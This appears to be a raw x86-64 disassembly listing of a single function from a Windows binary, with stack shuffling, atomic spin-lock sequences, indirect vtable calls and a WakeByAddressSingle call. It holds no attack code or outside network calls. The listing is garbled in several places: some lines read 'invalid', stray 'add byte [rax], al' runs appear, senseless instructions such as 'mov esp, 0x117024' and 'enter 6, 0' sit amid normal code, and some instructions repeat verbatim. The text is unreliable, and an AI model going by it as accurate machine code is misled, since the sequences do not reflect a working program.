mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x6d8], rax
mov r14b, 9
xor ebx, ebx
mov rdx, qword [rsp + 0xd98]
cmp rdx, 2
jne 0x14004b563
jmp 0x14004b620
mov eax, dword [rsp + 0x13c]
shl eax, 0x10
movzx ecx, byte [rsp + 0x6c]
shl ecx, 8
or ecx, eax
movzx eax, byte [rsp + 0xa8]
or eax, ecx
mov qword [rsp + 0x338], rax
mov r14b, 9
mov byte [rsp + 0x4f], r12b
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x534]
mov rax, qword [rsp + 0x378]
mov word [rsp + 0x73e], ax
mov byte [rsp + 0x4e], bl
mov byte [rsp + 0x1df], bl
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x6d8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0xc8]
mov dword [rsp + 0x1c8], eax
mov dword [rsp + 0x534], ecx
mov dword [rsp + 0x198], ecx
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0xd98]
cmp rdx, 2
je 0x14004b620
mov rcx, qword [rsp + 0xda0]
mov rax, qword [rsp + 0xda8]
test dl, 1
je 0x14004b58a
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0xdb0]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0xd98]
cmp rsi, 2
je 0x14004b620
mov rcx, qword [rsp + 0xda0]
mov rax, qword [rsp + 0xda8]
test sil, 1
je 0x14004b5cb
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0xdb0]
call qword [rax + 0x80]
test rsi, rsi
je 0x14004b620
mov rax, qword [rsp + 0xda0]
lock dec qword [rax]
jne 0x14004b620
mov rcx, qword [rsp + 0xda0]
mov rdx, qword [rsp + 0xda8]
call case.0x14009a20c.177
jmp 0x14004b620
mov r14b, 0xb
mov rdi, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0xd98]
cmp rdx, 2
jne 0x14004b563
cmp r14b, 0xa
je 0x14004b960
movzx esi, r14b
cmp esi, 9
je 0x140051a13
cmp esi, 0xb
je case.default.0x14004b6c6
movzx eax, byte [rsp + 0x3ae]
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0x3ac]
mov word [rsp + 0x170], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x1180]
lea rdx, [rsp + 0xfd0]
call fcn.140121660
movzx eax, word [rsp + 0x3a8]
mov word [rsp + 0x1d8], ax
movzx eax, byte [rsp + 0x3aa]
mov byte [rsp + 0x1da], al
movzx eax, word [rsp + 0x3a4]
mov word [rsp + 0x1d4], ax
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsp + 0x3a6]
mov byte [rsp + 0x1d6], al
and al, 0xd6
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x148a85
and al, 0xd6
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x148a85
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x338]
mov dword [rsp + 0xa70], eax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0xa74], eax
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0xa80], rax
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0xa90], rax
mov r14, qword [rsp + 0xcc8]
and al, 0xc8
or al, 0
add byte [rcx], dh
sal byte [rcx + 0xf41f001], 0xb0
invalid
jne 0x14004e329
and al, 0xc8
or al, 0
add byte [rcx], dh
sal byte [rcx + 0xf41f001], 0xb0
invalid
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e344
xor r15d, r15d
mov qword [rsp + 0x78], rbx
movzx eax, byte [r14 + 1]
test al, al
jne 0x140055545
movzx ebx, byte [rsp + 0xcd8]
mov rsi, qword [rsp + 0xcd0]
mov ebp, dword [rsp + 0xa90]
lea rdx, [r14 + 0x1b8]
lea rcx, [rsp + 0x1e0]
mov r8d, ebp
call fcn.140013620
cmp qword [rsp + 0x1e0], 0
je 0x14004ce1c
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0xfd0], xmm0
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14004e673
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
mov qword [rsp + 0x50], r12
jne 0x14004e680
xor r12d, r12d
mov dword [rsp + 0x98], r15d
mov qword [rsp + 0x70], rsi
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400557f9
mov rbp, qword [rsp + 0xa80]
mov r15, qword [rsp + 0xfd0]
mov r13d, dword [rsp + 0xfd8]
mov ebx, dword [rsp + 0xfdc]
mov dword [rsp + 0x570], r13d
mov dword [rsp + 0x574], ebx
cmp qword [r15 + 0x10], r13
jbe 0x140054d23
mov rax, qword [r15 + 8]
imul rsi, r13, 0x130
cmp dword [rax + rsi], 2
je 0x140054d23
add rax, rsi
cmp dword [rax + 0x114], ebx
jne 0x140054d23
mov ecx, dword [rax + 0x48]
movups xmm0, xmmword [rsp + 0xa70]
movaps xmmword [rsp + 0x570], xmm0
mov qword [rsp + 0x580], rbp
lea rax, [rsp + 0xa88]
movdqu xmm0, xmmword [rax]
lea rax, [rsp + 0x588]
movdqu xmmword [rax], xmm0
test rbp, 0xffffffff80000000
jne 0x1400557e1
mov dword [rsp + 0x110], ecx
mov dword [rsp + 0x860], r13d
mov dword [rsp + 0x864], ebx
cmp qword [r15 + 0x10], r13
jbe 0x14005544c
mov rax, qword [r15 + 8]
cmp dword [rax + rsi], 2
je 0x14005544c
add rax, rsi
cmp dword [rax + 0x114], ebx
jne 0x14005544c
lea r9, [r14 + 8]
movzx ecx, byte [rax + 0x50]
cmp cl, 5
mov dword [rsp + 0x1a0], r12d
mov qword [rsp + 0x130], r9
mov qword [rsp + 0x188], r14
ja 0x14004ccd2
lea edx, [rcx - 3]
cmp dl, 3
movzx edx, dl
mov r8d, 1
cmovae edx, r8d
test dl, dl
je 0x14004ccd2
movzx edx, dl
cmp edx, 1
jne 0x14004b929
cmp cl, 1
ja 0x14004b929
cmp byte [rax + 0x51], 2
jae 0x14004ccd2
mov eax, dword [r14 + 0xb0]
xor ebx, ebx
test eax, eax
mov ecx, 0
cmovg ecx, eax
cmp ecx, ebp
jae 0x14004db33
mov dword [rsp + 0xe0], 3
mov al, 1
mov qword [rsp + 0x40], rax
jmp 0x14004d557
lea rcx, [rsp + 0xcc8]
xor edx, edx
call fcn.14006f590
test al, al
jne 0x1400550c4
mov esi, 3
mov rdx, qword [rsp + 0x118]
movzx eax, byte [rsp + 0x3a2]
mov byte [rsp + 0x3b2], al
movzx eax, word [rsp + 0x3a0]
mov word [rsp + 0x3b0], ax
lea ecx, [rsi - 2]
lea rax, [rcx + 1]
cmp ecx, 2
mov ecx, 0
cmovae rax, rcx
test rax, rax
jne 0x1400468d0
test byte [rsp + 0x157], 1
jne 0x14004baa0
cmp dword [rdi + 0x480], 2
mov eax, dword [rsp + 0xc98]
mov ecx, dword [rsp + 0xc94]
jne 0x14005522c
mov r8, rdx
mov dword [rdi + 0x480], esi
movzx edx, byte [rsp + 0x398]
mov byte [rdi + 0x484], dl
mov edx, dword [rsp + 0x738]
mov byte [rdi + 0x485], dl
mov edx, dword [rsp + 0x19c]
mov word [rdi + 0x486], dx
mov edx, dword [rsp + 0xa5c]
mov dword [rdi + 0x488], edx
mov rdx, qword [rsp + 0x168]
mov qword [rdi + 0x48c], rdx
mov qword [rdi + 0x494], r8
mov dword [rdi + 0x494], eax
mov dword [rdi + 0x494], eax
mov rdx, qword [rsp + 0x568]
add byte [rax], al
mov qword [rdi + 0x49c], rdx
mov qword [rdi + 0x4a4], r13
mov edx, dword [rsp + 0xc90]
mov dword [rdi + 0x4ac], edx
mov rdx, r8
mov dword [rdi + 0x4b0], ecx
mov dword [rdi + 0x4b4], eax
movzx eax, byte [rsp + 0x157]
mov byte [rdi + 0x4b8], al
movzx eax, byte [rsp + 0x3b2]
mov rcx, qword [rsp + 0x1158]
mov byte [rcx + 2], al
movzx eax, word [rsp + 0x3b0]
mov word [rcx], ax
jmp 0x1400468da
cmp dword [rdi + 0x440], 1
jne 0x140051ba1
cmp dword [rdi + 0x464], 1
mov rsi, qword [rsp + 0x168]
push 0x75000001
invalid
push 0x75000001
sbb al, 0x8b
xchg dword [rax + 4], ebp
add byte [rax], al
mov eax, dword [rdi + 0x468]
lea ecx, [rax - 0x4000]
cmp ecx, 0xffc000
jae 0x14005537d
mov qword [rdi + 0x10], rax
test byte [rdi + 0x46c], 1
je 0x14004baf0
mov eax, dword [rdi + 0x470]
mov qword [rdi + 0x378], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x78], rbx
cmp dword [rdi + 0x444], 1
jne 0x14004bb37
mov eax, dword [rdi + 0x448]
mov rcx, qword [rdi + 0x1d0]
cmp rcx, rax
cmovbe rcx, rax
cmp byte [rdi + 0x1c8], 0
cmove rcx, rax
mov qword [rdi + 0x1c8], 1
mov qword [rdi + 0x1d0], rcx
mov rbx, qword [rdi + 0x408]
lea rcx, [rbx + 0x10]
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbx + 0x10], dl
jne 0x14004d393
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004d3b9
xor eax, eax
movzx edx, byte [rbx + 0x11]
test dl, dl
jne 0x140055244
cmp dword [rdi + 0x474], 1
jne 0x14004bb89
cmp dword [rdi + 0x478], 0
setne byte [rbx + 0x115]
mov r9b, 3
mov r14b, 1
cmp dword [rdi + 0x45c], 1
jne 0x14004ca00
mov r9d, dword [rdi + 0x460]
mov r8d, dword [rbx + 0x104]
mov dword [rbx + 0x104], r9d
xor r10d, r10d
mov edx, r9d
sub edx, r8d
setne r10b
mov r11d, 0xff
cmovb r10d, r11d
test r10b, r10b
je 0x14004c8ab
movzx r10d, r10b
cmp r10d, 1
mov rsi, r13
jne 0x14004c8bb
mov r8, qword [rbx + 0x220]
test r8, r8
je 0x14004ca50
mov qword [rsp + 0x50], r12
mov r9, qword [rbx + 0x200]
mov r10, r8
xor r11d, r11d
mov r12, qword [rsp + 0x100]
nop dword [rax]
cmp r9, r11
jbe 0x140054edd
mov rdi, qword [rbx + 0x1f8]
mov r14, r11
shl r14, 4
mov ebp, dword [rdi + r14 + 8]
mov edi, dword [rdi + r14 + 0xc]
mov dword [rsp + 0xe50], edi
mov dword [rsp + 0xe54], ebp
cmp qword [rbx + 0x1d8], rdi
jbe 0x140054dba
mov r15, qword [rbx + 0x1d0]
imul r14, rdi, 0x130
cmp dword [r15 + r14], 2
je 0x140054dba
add r15, r14
cmp dword [r15 + 0x114], ebp
jne 0x140054dba
mov r13d, dword [r15 + 0xa0]
add r13d, edx
jo 0x14004c9c2
mov dword [r15 + 0xa0], r13d
mov dword [rsp + 0xe50], edi
mov dword [rsp + 0xe54], ebp
mov rdi, qword [rbx + 0x1d0]
cmp dword [rdi + r14], 2
je 0x140054dba
add rdi, r14
cmp dword [rdi + 0x114], ebp
jne 0x140054dba
mov ebp, dword [rdi + 0xa4]
add ebp, edx
jo 0x14004c9c2
cmp r8, r10
sbb r11, 0xffffffffffffffff
cmp r8, r10
mov dword [rdi + 0xa4], ebp
sbb r10, 0
cmp r11, r10
jb 0x14004bc10
jmp 0x14004c98e
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x3a2], al
movzx eax, word [rsp + 0x170]
mov word [rsp + 0x3a0], ax
mov rcx, qword [rsp + 0x338]
mov eax, ecx
shr eax, 8
mov dword [rsp + 0x738], eax
add byte [rax], al
add byte [rax], al
mov eax, ecx
shr eax, 0x10
mov dword [rsp + 0x19c], eax
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0x734]
mov dword [rsp + 0xc98], eax
test byte [rax + rbx*4], ah
or al, 0
add byte [rbx + 0x7302484], cl
add byte [rax], al
mov dword [rsp + 0xc94], eax
mov eax, dword [rsp + 0x72c]
mov dword [rsp + 0xc90], eax
mov r13, qword [rsp + 0x6d8]
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0x568], rax
mov rdx, qword [rsp + 0x6c8]
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0xa5c], eax
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x157], al
mov byte [rsp + 0x398], cl
mov eax, dword [rsp + 0x198]
mov esi, eax
jmp 0x14004b984
movzx eax, byte [rsp + 0x172]
lea rsi, [rsp + 0x3f0]
mov byte [rsi + 0x17], al
movzx eax, word [rsp + 0x170]
mov word [rsi + 0x15], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x408]
lea rdx, [rsp + 0x1180]
call fcn.140121660
movzx eax, byte [rsp + 0x1da]
mov byte [rsi + 0xfb], al
movzx eax, word [rsp + 0x1d8]
mov word [rsi + 0xf9], ax
movzx eax, word [rsp + 0x1d4]
mov word [rsi + 0xfd], ax
movzx eax, byte [rsp + 0x1d6]
mov byte [rsi + 0xff], al
mov rax, qword [rsp + 0x338]
mov dword [rsp + 0x3d0], eax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0x3d4], eax
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x3f0], rax
mov eax, dword [rsp + 0x72c]
mov dword [rsp + 0x3f8], eax
mov eax, dword [rsp + 0x730]
mov dword [rsp + 0x3fc], eax
mov eax, dword [rsp + 0x734]
mov dword [rsp + 0x400], eax
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x404], al
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x4e8], al
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x4ec], al
mov r14, qword [rsp + 0xcc8]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14], cl
jne 0x14004e2ca
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e2e5
xor eax, eax
mov dword [rsp + 0x98], eax
mov qword [rsp + 0x78], rbx
movzx eax, byte [r14 + 1]
test al, al
jne 0x14005557d
mov rax, qword [rsp + 0xcd0]
mov qword [rsp + 0x130], rax
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rbx + 0x4e024b4], cl
add byte [rax], al
mov ebx, dword [rsp + 0x4e4]
lea rdx, [r14 + 0x1b8]
lea rcx, [rsp + 0xe50]
mov qword [rsp + 0x110], rdx
mov r8d, esi
call fcn.140013620
mov rax, qword [rsp + 0xe50]
mov bpl, 1
mov r13d, 1
mov r15d, 1
test rax, rax
mov qword [rsp + 0x70], r14
je 0x14004cd4d
mov dl, 3
cmp esi, dword [r14 + 0x100]
jbe 0x14004d041
mov r15, qword [rsp + 0xa28]
mov r13d, dword [rsp + 0x388]
movzx ebp, byte [rsp + 0xa6]
jmp 0x14004cd76
mov rsi, qword [rsp + 0xcc8]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14004e2f1
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e30c
xor r15d, r15d
movzx eax, byte [rsi + 1]
test al, al
jne 0x140055561
mov rdx, qword [rsp + 0xcd0]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdx], cl
jne 0x14004e418
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e439
xor eax, eax
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x50], r12
movzx ecx, byte [rdx + 1]
test cl, cl
jne 0x14005559f
lea r12, [rsi + 8]
lea rbp, [rsi + 0x1b8]
mov r8d, dword [rsp + 0x198]
test r8d, r8d
lea rcx, [rsp + 0x1170]
je 0x14004ce3d
mov r13d, r15d
mov r15d, eax
mov r14, rdx
mov rdx, rbp
mov ebp, r8d
mov rbx, rcx
call fcn.140013620
cmp qword [rsp + 0x1170], 0
mov esp, 0x117024
add byte [rax], al
mov esp, 0x117024
add byte [rax], al
je 0x14004d3df
lea r8, [r14 + 8]
lea rcx, [rsi + 0x108]
lea rax, [rsi + 0x1a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov rdx, qword [rsp + 0x338]
mov edx, dword [rsp + 0x338]
mov edx, dword [rsp + 0x338]
mov r9, rbx
call fcn.1400c2d50
insb byte [rdi], dx
invalid
add byte [rcx + rcx*4 - 0xe], cl
mov rbx, qword [rsp + 0x78]
mov eax, r15d
mov r15d, r13d
mov edi, ebp
insb byte [rdi], dx
invalid
mov edi, ebp
jmp 0x14004d991
movzx eax, byte [rsp + 0x172]
lea rsi, [rsp + 0xfd4]
mov byte [rsi + 0x33], al
movzx eax, word [rsp + 0x170]
mov word [rsi + 0x31], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x1008]
lea rdx, [rsp + 0x1180]
call fcn.140121660
movzx eax, byte [rsp + 0x1da]
mov byte [rsi + 0x117], al
movzx eax, word [rsp + 0x1d8]
mov word [rsi + 0x115], ax
movzx eax, word [rsp + 0x1d4]
mov word [rsi + 0x119], ax
movzx eax, byte [rsp + 0x1d6]
mov byte [rsi + 0x11b], al
mov rax, qword [rsp + 0x338]
mov dword [rsp + 0xfd0], eax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0xfd4], eax
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0xfd8], rax
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0xfe0], rax
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0xfe8], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0xff0], rax
mov eax, dword [rsp + 0x72c]
mov dword [rsp + 0xff8], eax
mov eax, dword [rsp + 0x730]
mov dword [rsp + 0xffc], eax
mov eax, dword [rsp + 0x734]
mov dword [rsp + 0x1000], eax
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x1004], al
movzx eax, byte [rsp + 0x155]
add dword [rax], eax
add byte [rax + 0x10e82484], cl
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
mov ah, 0x24
invalid
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x10ec], al
mov rdx, qword [rsp + 0xcc8]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdx], cl
mov qword [rsp + 0x70], rdx
jne 0x14004e367
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e387
xor r15d, r15d
movzx eax, byte [rdx + 1]
test al, al
jne 0x1400555f2
mov esi, dword [rsp + 0x10e8]
cmp esi, dword [rdx + 0x100]
jbe 0x14004ca6f
mov esi, dword [rsp + 0x194]
mov al, 3
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0xfd0]
jmp 0x14004e179
mov rax, qword [rsp + 0xcc0]
cmp byte [rax + 8], 1
je 0x140055512
movzx ecx, word [rsp + 0x73e]
mov edx, dword [rsp + 0x198]
shl rdx, 0x10
or rdx, rcx
mov rcx, qword [rsp + 0x338]
shl rcx, 0x30
or rcx, rdx
test byte [rsp + 0x1df], 1
je 0x14004cb03
movzx r8d, byte [rax + 0x11]
mov rdx, qword [rax + 0x12]
mov byte [rax + 0x11], 2
cmp r8b, 2
je 0x14004d710
mov byte [rsp + 0x3d0], r8b
mov qword [rsp + 0x3d1], rdx
cmp rdx, rcx
jne 0x14004d6f4
lea rax, [rsp + 0x3d1]
mov qword [rsp + 0x570], rax
movabs rax, 0x54fe9b8bf0a27b0b
cmp rcx, rax
jne 0x140055d63
mov rax, qword [rsp + 0xcb0]
test byte [rax + 0x28], 1
je 0x140055dac
mov r14, rbx
mov rbx, qword [rsp + 0xcc8]
mov rcx, rbx
call fcn.14006f4b0
mov esi, eax
movaps xmmword [rsp + 0x570], xmm6
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx], cl
jne 0x14004f078
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004f093
xor eax, eax
movzx ecx, byte [rbx + 1]
test cl, cl
jne 0x140055d10
cmp dword [rbx + 0x100], esi
jb 0x140055d4b
mov dword [rbx + 0x100], esi
test al, al
jne 0x14004c365
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14005055a
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x14004c376
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rbx, qword [rsp + 0xcb0]
cmp dword [rbx + 0x28], 1
mov rdx, qword [rsp + 0x118]
jne 0x14004c395
cmp esi, dword [rbx + 0x2c]
ja 0x140055e53
mov dword [rbx + 0x28], 1
mov dword [rbx + 0x2c], esi
mov dword [rbx + 0x30], 0
mov rax, qword [rbx]
test rax, rax
je 0x14004c3c5
lea rcx, [rbx + 0x18]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x118]
mov edx, dword [rsp + 0x118]
mov edx, dword [rsp + 0x118]
lea rax, [0x1401586b0]
mov qword [rbx], rax
mov qword [rbx + 8], 1
movdqa xmm0, xmmword [rsp + 0x570]
movdqu xmmword [rbx + 0x10], xmm0
mov dword [rbx + 0x20], esi
mov dword [rbx + 0x24], 0
mov esi, 2
mov rbx, r14
jmp 0x14004b984
mov rax, qword [rsp + 0x338]
mov dword [rsp + 0x570], eax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0x574], eax
mov rax, qword [rsp + 0x6c0]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x6c8]
enter 6, 0
enter 6, 0
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x6d0]
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x590], rax
mov rsi, qword [rsp + 0xcc8]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14004e3a9
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e3c4
xor r14d, r14d
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400555ba
mov rdx, qword [rsp + 0xcd0]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdx], cl
jne 0x14004e44b
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e46c
xor eax, eax
movzx ecx, byte [rdx + 1]
test cl, cl
jne 0x14005552a
mov dword [rsp + 0x130], r14d
mov r15d, dword [rsp + 0x590]
cmp dword [rsi + 0x170], r15d
setae byte [rsp + 0x1a0]
jb 0x14004cb15
mov dword [rsp + 0xe0], eax
mov qword [rsp + 0x188], rdx
mov qword [rsp + 0x50], r12
mov dword [rsi + 0x170], r15d
mov rax, qword [rsp + 0x570]
mov r8, qword [rsp + 0x578]
mov r9, qword [rsp + 0x580]
lea rcx, [rsp + 0x3d8]
lea rdx, [rsp + 0x588]
call qword [rax]
mov eax, dword [rsp + 0x594]
mov dword [rsp + 0x3d4], eax
mov word [rsp + 0x3d0], 0x201
mov rax, qword [rsi + 0x210]
test rax, rax
je 0x14004cc22
lea rcx, [rsi + 8]
mov qword [rsp + 0x78], rcx
mov rcx, qword [rsp + 0x188]
add rcx, 8
mov qword [rsp + 0x70], rcx
lea rcx, [rsi + 0x1b8]
mov qword [rsp + 0x98], rcx
lea rcx, [rsi + 0x110]
mov qword [rsp + 0x110], rcx
mov r14, rax
xor r12d, r12d
mov dword [rsp + 0x40], r15d
jmp 0x14004c5b7
cmp rax, r14
sbb r12, 0xffffffffffffffff
cmp rax, r14
sbb r14, 0
cmp r12, r14
jae 0x14004cc22
cmp qword [rsi + 0x1f0], r12
jbe 0x140054edd
mov rdx, qword [rsi + 0x1e8]
mov r8, r12
shl r8, 4
mov ecx, dword [rdx + r8 + 8]
mov r8d, dword [rdx + r8 + 0xc]
mov dword [rsp + 0xe50], r8d
mov dword [rsp + 0xe54], ecx
cmp qword [rsi + 0x1c8], r8
jbe 0x140054e8a
mov rdx, qword [rsi + 0x1c0]
imul r9, r8, 0x130
cmp dword [rdx + r9], 2
je 0x140054e8a
add rdx, r9
cmp dword [rdx + 0x114], ecx
jne 0x140054e8a
cmp ecx, r15d
jbe 0x14004c5a0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1e8], r8d
mov dword [rsp + 0x1ec], ecx
add dword [rax], eax
add byte [rcx - 0x35ffb786], al
invalid
cmp ecx, dword [rax - 0x77]
fld qword [rcx + 0xf]
xchg ebp, eax
invalid
lea rcx, [rsp + 0x3d0]
call fcn.1400131c0
mov rbx, qword [rsp + 0x110]
mov rcx, rbx
mov rdx, qword [rsp + 0x70]
lea r13, [rsp + 0x1e0]
mov r8, r13
call fcn.1400c25f0
mov rcx, rbx
mov rdx, r13
mov rbx, rsi
mov rsi, rdi
mov rdi, qword [rsp + 0x78]
mov r8, rdi
call fcn.1400218f0
mov rcx, rdi
mov rdi, rsi
mov rsi, rbx
mov rdx, r13
mov r13, qword [rsp + 0x60]
mov r8d, r15d
mov r15d, dword [rsp + 0x40]
mov rbx, rbp
call fcn.140022d30
mov rax, qword [rsi + 0x210]
jmp 0x14004c5a0
mov rsi, qword [rsp + 0xcc8]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi], cl
jne 0x14004e3e1
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e3fc
xor ebp, ebp
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400555d6
mov r15d, dword [rsp + 0x198]
test r15d, r15d
je 0x14004e546
mov r9b, 3
cmp dword [rsi + 0x100], r15d
jb 0x14004e57c
mov r14, qword [rsp + 0xcd0]
lea rdx, [rsi + 0x1b8]
lea rcx, [rsp + 0x1e0]
mov r8d, r15d
call fcn.140013620
cmp qword [rsp + 0x1e0], 0
je 0x14004d824
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0x570], xmm0
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14], cl
mov r15, r14
jne 0x14004ef57
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004ef72
xor r14d, r14d
mov qword [rsp + 0x78], rbx
movzx eax, byte [r15 + 1]
test al, al
jne 0x140055ca4
mov rcx, qword [rsp + 0x570]
mov edx, dword [rsp + 0x578]
mov eax, dword [rsp + 0x57c]
mov dword [rsp + 0xa70], edx
mov dword [rsp + 0xa74], eax
cmp qword [rcx + 0x10], rdx
jbe 0x140054d3a
mov rbx, qword [rcx + 8]
imul rcx, rdx, 0x130
cmp dword [rbx + rcx], 2
je 0x140054d3a
add rbx, rcx
cmp dword [rbx + 0x114], eax
jne 0x140054d3a
lea rax, [rsi + 8]
mov qword [rsp + 0x40], rax
mov ecx, dword [rbx + 0x48]
cmp byte [rbx + 0x126], 0
mov dword [rsp + 0x70], ebp
je 0x14004c81b
mov rax, qword [rsi + 0x50]
cmp qword [rsi + 0x48], rax
jbe 0x14004e5cf
inc rax
mov qword [rsi + 0x50], rax
mov dword [rsp + 0x110], ecx
movzx eax, byte [rbx + 0x50]
cmp eax, 5
ja 0x14004c838
cmp byte [rbx + 0x121], 0
je 0x14004f0f1
lea ecx, [rax - 6]
cmp cl, 6
jb 0x14004f0d6
lea ecx, [rax - 3]
cmp cl, 3
setb dl
cmp cl, 1
setne cl
test dl, cl
jne 0x14004f0d6
test eax, eax
je 0x14004f0d6
cmp eax, 1
jne 0x14004f0b8
lea rcx, [rbx + 0x70]
mov rax, qword [rbx + 0x58]
mov rdx, qword [rbx + 0x60]
mov r8, qword [rbx + 0x68]
call qword [rax + 0x10]
jmp 0x14004f0d6
mov byte [rsp + 0xe50], 3
mov rdx, qword [rsp + 0xa70]
cmp rdx, 2
mov rbx, r13
mov r13, qword [rsp + 0x60]
jne 0x140047a0a
jmp 0x140047ab0
mov r9b, 3
test al, al
je 0x14004ca04
jmp 0x14004ca17
mov rdx, qword [rbx + 0x220]
test rdx, rdx
je 0x14004ca50
mov qword [rsp + 0x50], r12
sub r8d, r9d
mov r9, qword [rbx + 0x200]
mov r10, rdx
xor r11d, r11d
mov r12, qword [rsp + 0x100]
nop dword [rax + rax]
cmp r9, r11
jbe 0x140054edd
mov rdi, qword [rbx + 0x1f8]
mov r14, r11
shl r14, 4
mov ebp, dword [rdi + r14 + 8]
mov r14d, dword [rdi + r14 + 0xc]
mov dword [rsp + 0xe50], r14d
mov dword [rsp + 0xe54], ebp
cmp qword [rbx + 0x1d8], r14
jbe 0x140054dba
mov rdi, qword [rbx + 0x1d0]
imul r14, r14, 0x130
cmp dword [rdi + r14], 2
je 0x140054dba
add rdi, r14
cmp dword [rdi + 0x114], ebp
jne 0x140054dba
mov ebp, dword [rdi + 0xa0]
sub ebp, r8d
jo 0x14004c9c2
mov dword [rdi + 0xa0], ebp
mov ebp, dword [rdi + 0xa4]
sub ebp, r8d
jo 0x14004c9c2
cmp rdx, r10
sbb r11, 0xffffffffffffffff
